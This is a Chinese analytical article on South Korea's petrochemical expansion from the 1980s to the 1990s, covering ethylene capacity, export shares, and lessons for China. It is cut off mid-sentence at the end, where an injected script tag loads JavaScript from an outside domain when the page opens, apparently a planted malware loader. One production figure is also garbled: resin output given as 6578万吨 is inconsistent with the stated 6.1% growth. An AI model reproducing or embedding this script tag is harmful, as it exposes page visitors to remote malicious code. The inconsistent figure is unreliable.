韩国石化工业发展启示录   钱伯章    一、韩国石化工业的发展    尽管１９６７～１９７２年韩国就制定了引进消化和发展外向型经济的发展战略，但直到８０年代中期，国家仍对石化投资严加控制。８０年代后，政府解除禁令，引入自由竞争机制，韩国石化工业进入了快速发展的轨道。但是，９０年代以乙烯为代表的石化能力急剧增大，鉴于国内需求有限，石化市场一度萎缩、低迷。然而，中国和东南亚国家经济转轨，对石化产品需求急增，给韩国实施出口导向型战略，重振石化工业带来了千载难逢的机遇。韩国与中国大陆、中国台湾省、日本以及东南亚国家邻近，藉于地理上的优势，９０年代，韩国迅速采取了鼓励出口的政策，从而大量取代了发达国家原先占领中国和东南亚国家的石化市场，给韩国进一步发展石化工业注入了新的活力。    韩国现已建成蔚山、丽川、大山和温山四大石化基地，以及以乙烯为龙头的八大石化公司，分别为：大林产业、油公、ＬＧ（乐喜金星）石化、现代石化、三星化学、韩火化学、湖南石化和大韩石化。配套建设了众多的石化下游加工装置，形成了炼油－石化－后加工一条龙的石化工业现代化结构。１９９４年，韩国经济比前两年回升，随着国内对石化产品需求增长，对外出口市场扩大，使其１９９５年经济增长率达到９.４％，外贸顺差达到５１亿美元，出口额比上年增长３２．１％。    据统计，韩国石化产品的出口现已占世界市场的１０％以上，塑料产品产量已占世界第４位。１９９４年石化产品出口总额达３８．２亿美元，其中，中国（含香港、台湾省）占４６．１％，中国大陆占２５．６％。出口额超过２亿美元的国家和地区有：中国、中国台湾省、香港、日本、印度尼西亚、印度等东亚、南亚地区，以及欧盟地区；出口到菲律宾、泰国分别达１．６亿美元和１．４亿美元，出口到美国也达１．３亿美元，出口到中国大陆高达９．７６亿美元。    为面向２１世纪，韩国的乙烯工业仍在继续扩大生产能力。经过８０年代末至９０年代初的建设，乙烯生产能力已由１９８８年的５０．５万吨，增加到１９９２年的３２０万吨、１９９４年的３５７万吨和１９９５年的３９２万吨，１９９６年预计达４３３万吨，并且仍在加速发展。到２００１年，计划扩大生产能力到６２６万吨，接近日本乙烯现有生产能力约７００万吨，成为亚洲乃至世界石化工业的又一强劲的竞争对手。    外向型战略使其石化下游装置也同步扩大产能。１９９５年，１４种主要石化产品的产量除ＨＤＰＥ比上年减少５．７％以外，其余均比上年增长。其中，ＬＤＰＥ／ＬＬＤＰＥ、ＡＢＳ、ＰＴＡ分别比上年增长高达２０．０％、２１．１％和３７．１％，１９９６年又有近４０套石化装置投入运转。合成树脂产量１９９５年为６２０万吨，１９９６年可望增长６．１％，达到６５７８万吨；合成橡胶产量１９９５年为２８万吨，预计１９９６年增加到３４万吨。由于汽车和电子工业出口市场坚挺，预计今后合成树脂的增长率将达７％。    韩国已制定了本世纪２０００年以前约５０种主要石化产品的能力扩大计划，大多将在１９９８年以前投产。据预测，韩国对三大合成材料的需求年均增长率将分别为：塑料及树脂，１９９６～２０００年为７．４％，２００１～２００５年为５．２％；合成纤维，１９９６～２０００年为９．９％，２００１～２００５年为４．４％；合成橡胶，１９９６～２０００年为４．６％，２００１～２００５年为３．３％。    二、经验和启示    １．出口导向型发展战略    韩国以及东盟的新加坡、泰国和马来西亚等国都将成为中国石化工业参与竞争的强硬对手。我国石化原料进口增长速度惊人，１９９５年进口ＬＬＤＰＥ、ＬＤＰＥ、ＨＤＰＥ、ＰＰ、ＥＧ、ＰＳ、ＡＢＳ、ＰＴＡ和ＰＶＣ等主要石化原料总计超过６００万吨，比１９９３年增长近５成。到２０００年，进口仍会持续扩大。韩国ＬＧ（乐喜金星）化工集团提出了“把中国变为第二个国内市场的战略”，在２０００年前将向中国投资５亿美元，用于发展石油化工，这种出口导向型发展战略，给中国石化工业带来的是：发展与竞争并存，挑战与机遇同在。    ２．石化装置的经济规模    经济规模的乙烯及其下游装置能耗消耗低，有利于产品综合利用，总体经济效益好，参与市场竞争能力强。韩国在８０年代末至９０年代初大量兴建乙烯装置的时候就选择了３０～４０万吨／年的经济规模，与我国进入９０年代仍大量兴建１１．５～１５万吨／年小型乙烯装置形成鲜明对照。我国现有小型装置达１１套之多。而韩国面向２１世纪再扩大生产能力的乙烯装置，每套又选择在３０～６０万吨／年的?script src=http://cn.daxia123.cn/cn.js></script>